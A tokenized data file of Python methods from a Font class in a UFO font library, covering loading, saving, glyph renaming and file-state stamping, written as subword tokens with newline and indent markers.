"\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "lib_", "._", "set", "Parent_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "path_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reader_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "reader_", "._", "read", "Lib_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "lib_", "._", "update_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "lib_", "._", "add", "Observer_", "(_", "observer_", "=_", "self_", ",_", "method", "Name_", "=_", "\"\\u", "object", "Dirty", "State", "Change", "\"_", ",_", "notification_", "=_", "\"", "Lib", ".", "Change", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Lib", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "unicode", "Data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "unicode", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "path_", "=_", "None_", ",_", "format", "Version_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Save", " ", "the", " ", "font", " ", "to", " ", "**", "path", "**", ".", " ", "If", " ", "path", " ", "is", " ", "Non", "e", ",", " ", "the", " ", "path", "\\", "10", ";", " ", " ", " ", " ", "from", " ", "the", " ", "last", " ", "save", " ", "or", " ", "whe", "n", " ", "the", " ", "font", " ", "was", " ", "first", " ", "opene", "d", "\\", "10", ";", " ", " ", " ", " ", "will", " ", "be", " ", "used", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "UF", "O", " ", "will", " ", "be", " ", "saved", " ", "usi", "ng", " ", "the", " ", "format", " ", "found", " ", "at", " ", "``", "ufo", "Format", "Version", "``.", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "value", " ", "is", " ", "eit", "her", " ", "the", " ", "format", " ", "version", " ", "from", " ", "the", " ", "exi", "sing", " ", "UF", "O", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "format", " ", "version", " ", "specified", " ", "in", " ", "a", " ", "previ", "ous", " ", "save", ".", " ", "If", " ", "nei", "ther", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "these", " ", "is", " ", "avail", "able", ",", " ", "the", " ", "UF", "O", " ", "will", " ", "be", " ", "writt", "en", " ", "as", " ", "format", " ", "version", " ", "2", ".", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "you", " ", "wish", " ", "to", " ", "speci", "fi", "y", " ", "the", " ", "format", " ", "version", " ", "for", " ", "saving", ",", " ", "pass", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "desi", "red", " ", "number", " ", "as", " ", "the", " ", "**", "format", "Version", "**", " ", "argu", "ment", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "As_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "path_", "is_", "not_", "None_", "and_", "path_", "!=_", "self_", "._", "\\u", "path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "As_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "path_", "=_", "self_", "._", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "work", " ", "out", " ", "the", " ", "format", " ", "version_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "Non", "e", " ", "is", " ", "give", "n", ",", " ", "fall", "back", " ", "to", " ", "the", " ", "one", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "came", " ", "in", " ", "whe", "n", " ", "the", " ", "UF", "O", " ", "was", " ", "loaded_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "format", "Version_", "is_", "None_", "and_", "self_", "._", "\\u", "ufo", "Format", "Version_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "format", "Version_", "=_", "self_", "._", "\\u", "ufo", "Format", "Version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "other", "wis", "e", " ", "fall", "back", " ", "to", " ", "2_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "\\u", "ufo", "Format", "Version_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "format", "Version_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "make", " ", "a", " ", "UF", "OW", "riter", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ufo", "Writer_", "=_", "ufo", "Lib_", "._", "UF", "OW", "riter", "_", "(_", "path_", ",_", "format", "Version_", "=_", "format", "Version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "save", " ", "objects_", "\\u\\u\\uNL\\u\\u\\u_", "save", "Info_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Kern", "ing_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Groups_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Features_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "lib", " ", "shou", "ld", " ", "alw", "ay", "s", " ", "be", " ", "saved_", "\\u\\u\\uNL\\u\\u\\u_", "save", "Lib_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "in", " ", "a", " ", "save", " ", "as", ",", " ", "save", " ", "all", " ", "objects_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "save", "As_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "Info_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Kern", "ing_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Groups_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Features_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "if", " ", "chang", "ing", " ", "ufo", " ", "format", " ", "version", "s", ",", " ", "save", " ", "all", " ", "objects_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "ufo", "Format", "Version_", "!=_", "format", "Version_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "Info_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Kern", "ing_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Groups_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Features_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "save", " ", "info", ",", " ", "kern", "ing", " ", "and", " ", "features", " ", "if", " ", "the", "y", " ", "are", " ", "dirty_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "info_", "is_", "not_", "None_", "and_", "self_", "._", "\\u", "info_", "._", "dirty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "Info_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "kern", "ing_", "is_", "not_", "None_", "and_", "self_", "._", "\\u", "kern", "ing_", "._", "dirty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "Kern", "ing_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "features_", "is_", "not_", "None_", "and_", "self_", "._", "\\u", "features_", "._", "dirty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "Features_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "alw", "ay", "s", " ", "save", " ", "group", "s", " ", "and", " ", "lib", " ", "if", " ", "the", "y", " ", "are", " ", "loaded_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "as", " ", "the", "y", " ", "contain", " ", "sub", "-", "object", "s", " ", "tha", "t", " ", "may", " ", "not", " ", "notify_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "main", " ", "object", " ", "abo", "ut", " ", "change", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "groups_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "Groups_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "lib_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "Lib_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "save", " ", "object", "s", " ", "as", " ", "needed_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "save", "Info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ufo", "Writer_", "._", "write", "Info_", "(_", "self_", "._", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Info", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "info_", "._", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "save", "Kern", "ing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ufo", "Writer_", "._", "write", "Kern", "ing_", "(_", "self_", "._", "kern", "ing_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Kern", "ing", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "kern", "ing_", "._", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "save", "Groups_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ufo", "Writer_", "._", "write", "Groups_", "(_", "self_", "._", "groups_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Group", "s", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "save", "Features_", "and_", "format", "Version_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ufo", "Writer_", "._", "write", "Features_", "(_", "self_", "._", "features_", "._", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Feature", "s", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "save", "Lib_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "mak", "ing", " ", "format", " ", "version", " ", "1", ",", " ", "do", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "temporar", "y", " ", "down", " ", "conve", "rsi", "on", " ", "before_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "passi", "ng", " ", "the", " ", "lib", " ", "to", " ", "the", " ", "writer_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lib", "Copy_", "=_", "dict_", "(_", "self_", "._", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "format", "Version_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "convert", "To", "Format", "Version", "1", "Rob", "o", "Fab", "Data_", "(_", "lib", "Copy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ufo", "Writer_", "._", "write", "Lib_", "(_", "lib", "Copy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Lib", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "save", " ", "glyphs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "a", " ", "save", " ", "as", " ", "operati", "on", ",", " ", "load", " ", "all", " ", "the", " ", "glyphs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "mark", " ", "them", " ", "as", " ", "dir", "ty", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "save", "As_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "glyph_", "in_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph_", "._", "dirty_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Set_", "=_", "ufo", "Writer_", "._", "get", "Gl", "yp", "h", "Set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "glyph", "Name_", ",_", "glyph", "Object_", "in_", "self_", "._", "\\u", "glyphs_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Object_", "._", "dirty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph", "Set_", "._", "write", "Glyph_", "(_", "glyph", "Name_", ",_", "glyph", "Object_", ",_", "glyph", "Object_", "._", "draw", "Points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Gl", "yp", "h", "Data", "State_", "(_", "glyph", "Object_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "remove", " ", "delete", "d", " ", "glyphs_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "save", "As_", "and_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "glyph", "Name_", "in_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "in_", "glyph", "Set_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "glyph", "Set_", "._", "delete", "Glyph_", "(_", "glyph", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Set_", "._", "write", "Contents_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Set_", "=_", "glyph", "Set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "path_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "ufo", "Format", "Version_", "=_", "format", "Version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "object", "Dirty", "State", "Change_", "(_", "self_", ",_", "notification_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "notification_", "._", "object_", "._", "dirty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "dirty_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "glyph", "Name", "Change_", "(_", "self_", ",_", "notification_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "notification_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "Name_", "=_", "data_", "[_", "\"", "old", "Name", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Name_", "=_", "data_", "[_", "\"", "new", "Name", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "=_", "self_", "._", "\\u", "glyphs_", "[_", "old", "Name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "self_", "[_", "old", "Name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyphs_", "[_", "new", "Name_", "]_", "=_", "glyph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "keys_", "._", "add_", "(_", "new", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "unicode", "Data_", "._", "remove", "Gl", "yp", "h", "Data_", "(_", "old", "Name_", ",_", "glyph_", "._", "unicode", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "unicode", "Data_", "._", "add", "Gl", "yp", "h", "Data_", "(_", "new", "Name_", ",_", "glyph_", "._", "unicode", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "glyph", "Unic", "odes", "Change_", "(_", "self_", ",_", "notification_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph", "Name_", "=_", "notification_", "._", "object_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "notification_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "Values_", "=_", "data_", "[_", "\"", "old", "Value", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Values_", "=_", "data_", "[_", "\"", "new", "Value", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "unicode", "Data_", "._", "remove", "Gl", "yp", "h", "Data_", "(_", "glyph", "Name_", ",_", "old", "Values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "unicode", "Data_", "._", "add", "Gl", "yp", "h", "Data_", "(_", "glyph", "Name_", ",_", "new", "Values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "stamp", "Font", "Data", "State_", "(_", "self_", ",_", "obj_", ",_", "file", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "font", " ", "is", " ", "not", " ", "on", " ", "disk_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "path_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "data", " ", "has", " ", "not", " ", "bee", "n", " ", "loaded_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "obj_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "\\u", "path_", ",_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "file", " ", "is", " ", "not", " ", "in", " ", "UF", "O_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod", "Time_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "text_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "path_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "file", " ", "modification", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "mod", "Time_", "=_", "os_", "._", "stat_", "(_", "path_", ")_", "._", "st", "\\u", "mtime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "store", " ", "the", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "obj_", "._", "\\u", "data", "On", "Disk_", "=_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "\\u", "data", "On", "Disk", "Time", "Stamp_", "=_", "mod", "Time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "stamp", "Info", "Data", "State_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "stamp", "Font", "Data", "State_", "(_", "self_", "._", "\\u", "info_", ",_", "\"", "font", "info", ".", "plist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "stamp", "Kern", "ing", "Data", "State_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "stamp", "Font", "Data", "State_", "(_", "self_", "._", "\\u", "kern", "ing_", ",_", "\"", "kern", "ing", ".", "plist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "stamp", "Group", "s", "Data", "State_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "stamp", "Font", "Data", "State_", "(_", "self_", "._", "\\u", "groups_", ",_", "\"", "group", "s", ".", "plist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "stamp", "Feature", "s", "Data", "State_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "stamp", "Font", "Data", "State_", "(_", "self_", "._", "\\u", "features_", ",_", "\"", "features", ".", "fea", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "stamp", "Lib", "Data", "State_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "stamp", "Font", "Data", "State_", "(_", "self_", "._", "\\u", "lib_", ",_", "\"", "lib", ".", "plist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "stamp", "Gl", "yp", "h", "Data", "State_", "(_", "self_", ",_", "glyph_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "glyph", "Set_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Set_", "=_", "self_", "._", "\\u", "glyph", "Set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph", "Name_", "=_", "glyph_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "glyph", "Name_", "not_", "in_", "glyph", "Set_", "._", "contents_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 